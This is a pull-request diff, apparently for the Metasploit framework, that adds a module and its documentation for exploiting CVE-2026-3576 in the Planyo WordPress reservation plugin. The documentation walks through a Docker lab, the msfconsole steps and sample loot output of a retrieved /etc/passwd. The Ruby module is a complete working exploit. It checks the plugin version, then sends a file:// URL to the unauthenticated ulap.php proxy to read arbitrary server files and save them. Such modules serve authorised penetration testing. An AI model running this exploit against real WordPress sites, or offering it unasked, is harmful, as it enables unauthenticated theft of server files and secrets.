Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
128 changes: 128 additions & 0 deletions documentation/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,128 @@
## Vulnerable Application

Planyo Online Reservation System plugin of Wordpress prior to 3.1, fails to validate the scheme of the URL supplied to its AJAX proxy.
This leads to a Server Side Request Forgery (SSRF) vulnerability allowing unauthenticated attackers to retrieve local sensitive files.

This module uses this vulnerability to retrieve the contents of arbitrary local files by supplying a file:// URL to AJAX proxy ulap.php.

### Pre-requisites
- **Docker** and **Docker compose** installed.

## Setup

1. **Create a home directory**
```
mkdir wordpress-docker
cd wordpress-docker
vim docker-compose.yml
```
2. **Create a docker-compose.yml file**
```
services:
db:
image: mysql:8.0
container_name: wordpress-db
restart: unless-stopped
environment:
MYSQL_ROOT_PASSWORD: rootpassword
MYSQL_DATABASE: wordpress
MYSQL_USER: bala
MYSQL_PASSWORD: password
volumes:
- db_data:/var/lib/mysql

wordpress:
image: wordpress:latest
container_name: wordpress
restart: unless-stopped
depends_on:
- db
ports:
- "8080:80"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: bala
WORDPRESS_DB_PASSWORD: password
WORDPRESS_DB_NAME: wordpress
volumes:
- wordpress_data:/var/www/html

volumes:
db_data:
wordpress_data:
```
3. **Start the container**
```
sudo docker-compose up -d
```
4. **Download the vulnerable plugin and copy to relevant folder**
```
svn checkout https://plugins.svn.wordpress.org/planyo-online-reservation-system/tags/2.9/
mv 2.9 planyo-online-reservation-system
sudo docker cp planyo-online-reservation-system wordpress:/var/www/html/wp-content/plugins/
```
5. **Complete Wordpress Installation**
- Navigate to http://localhost:8080 and select English when asked for the language.
- Enter a site title, username, password and email address.
6. **Activate the plugin**
- Log into admin dashboard at http://localhost:8080/wp-login.php by entering the username and password configured in the previous step.
- On the left hand menu, select Plugins-\> Installed Plugins
- Locate the planyo plugin and click on Activate.

## Verification Steps
1. **Launch Metasploit**
```
msfconsole
```
2. **Load the Planyo LFI scanner**
```
use auxiliary/gather/wp_planyo_lfi_cve_2026_3576
set RHOSTS 127.0.0.1
set RPORT 8080
set TARGETURI /
```
3. **Run the module**
```
run
```
4. **Observe output**

The module should:
- Check if the target is alive and has installed Wordpress
- Check the plugin version and identify if it is vulnerable
- Retrieve the file and save it locally

## Options

- **TARGETURI**(`/`): Base path to Wordpress
- **FILEPATH**(`/etc/passwd`): Path of local file to download

## Scenarios
```
msf auxiliary(gather/wp_planyo_lfi_cve_2026_3576) > run
[*] Running module against 127.0.0.1
[+] Vulnerable version of plugin detected
[*] File saved to: /home/kali/.msf4/loot/20260810080420_default_127.0.0.1_planyo.http_669878.bin
[*] Auxiliary module execution completed
msf auxiliary(gather/wp_planyo_lfi_cve_2026_3576) > cat /home/kali/.msf4/loot/20260810080420_default_127.0.0.1_planyo.http_669878.bin
[*] exec: cat /home/kali/.msf4/loot/20260810080420_default_127.0.0.1_planyo.http_669878.bin

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
```
130 changes: 130 additions & 0 deletions modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,130 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Planyo Online Reservation System Arbitrary File Read (CVE-2026-3576)',
'Description' => %q{
This module exploits a Server Side Request Forgery (SSRF) vulnerability in Wordpress's Planyo Online Reservation System v3.0 or less.
The plugin's AJAX proxy ulap.php does not require authentication and does not validate URL scheme supplied via ulap_url parameter.
This allows unauthenticated attackers to supply file:// URLs to ulap.php and retrieve local files from the system.
},
'License' => MSF_LICENSE,
'Author' => [
'sinn3r', # Used sinn3r's yaws_traversal exploit module as a skeleton
'Balachandar Gowrisankar'
],
'References' => [
['CVE', '2026-3576'],
['GHSA', 'jjq9-3x6f-75pj']
],
'DisclosureDate' => '2026-07-10',
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)

register_options(
[
Opt::RPORT(8080),
OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/passwd']),
OptString.new('TARGETURI', [true, 'Base path to the Wordpress installation', '/'])
]
)
end

# Plugin versions prior to 3.1 do not have a stable tag or version in readme.txt. So implemented a module to extract version from changelog portion of readme.txt
def check_plugin_version_from_changelog(fixed_version)
changelog_url = '/wp-content/plugins/planyo-online-reservation-system/readme.txt'
res = send_request_cgi(
'uri' => "/#{datastore['TARGETURI']}/#{changelog_url}",
'method' => 'GET'
)

if res.nil? || res.code != 200
return Msf::Exploit::CheckCode::Unknown(res ? "Response code=#{res.code}" : 'No response')
end

body = res.body.to_s
changelog = body[/==\s*Changelog\s*==(.*)/mi, 1]

versions = changelog.scan(/^\s*=\s*v?([0-9A-Za-z._-]+)\s*=\s*$/)

if Rex::Version.new(versions.last.first) <= Rex::Version.new(fixed_version)
return Msf::Exploit::CheckCode::Appears(details: { version: versions.last.first })
else
return Msf::Exploit::CheckCode::Safe(details: { version: versions.last.first })
end
end

def run
# Check if server is reachable and Wordpress is installed
unless wordpress_and_online?
print_error('Server not online or not detected as wordpress')
return
end

# Check if filename is specified
if datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?
print_error('Please supply the name of the file you want to download')
return
end

# Check if plugin version is vulnerable
readme_code = check_plugin_version_from_readme('planyo-online-reservation-system', '3.0')

if readme_code == Msf::Exploit::CheckCode::Unknown
print_error('Plugin\'s version could not be found. Try overriding vulnerability check')
return
elsif readme_code == Msf::Exploit::CheckCode::Safe
print_good("Plugin found: #{readme_code.details}")
print_error('This version of plugin is not vulnerable')
return
# Check version from changelog section if stable tag or version details are not present in readme.txt
elsif readme_code == Msf::Exploit::CheckCode::Detected
changelog_code = check_plugin_version_from_changelog('3.0')
if changelog_code == Msf::Exploit::CheckCode::Safe
print_good("Plugin found: #{changelog_code.details}")
print_error('This version of plugin is not vulnerable')
return
end
end
print_good('Vulnerable version of plugin detected')

# Create request
route = 'wp-content/plugins/planyo-online-reservation-system/ulap.php?ulap_url=file://localhost'
res = send_request_raw({
'method' => 'GET',
'uri' => "/#{datastore['TARGETURI']}/#{route}/#{datastore['FILEPATH']}"
}, 25)

# Show data if needed
if res && res.code == 200
vprint_line(res.to_s)
fname = File.basename(datastore['FILEPATH'])

path = store_loot(
'planyo.http',
'application/octet-stream',
datastore['RHOST'],
res.body,
fname
)
print_status("File saved to: #{path}")
else
print_error('Nothing was downloaded. Check the file path')
end
end
end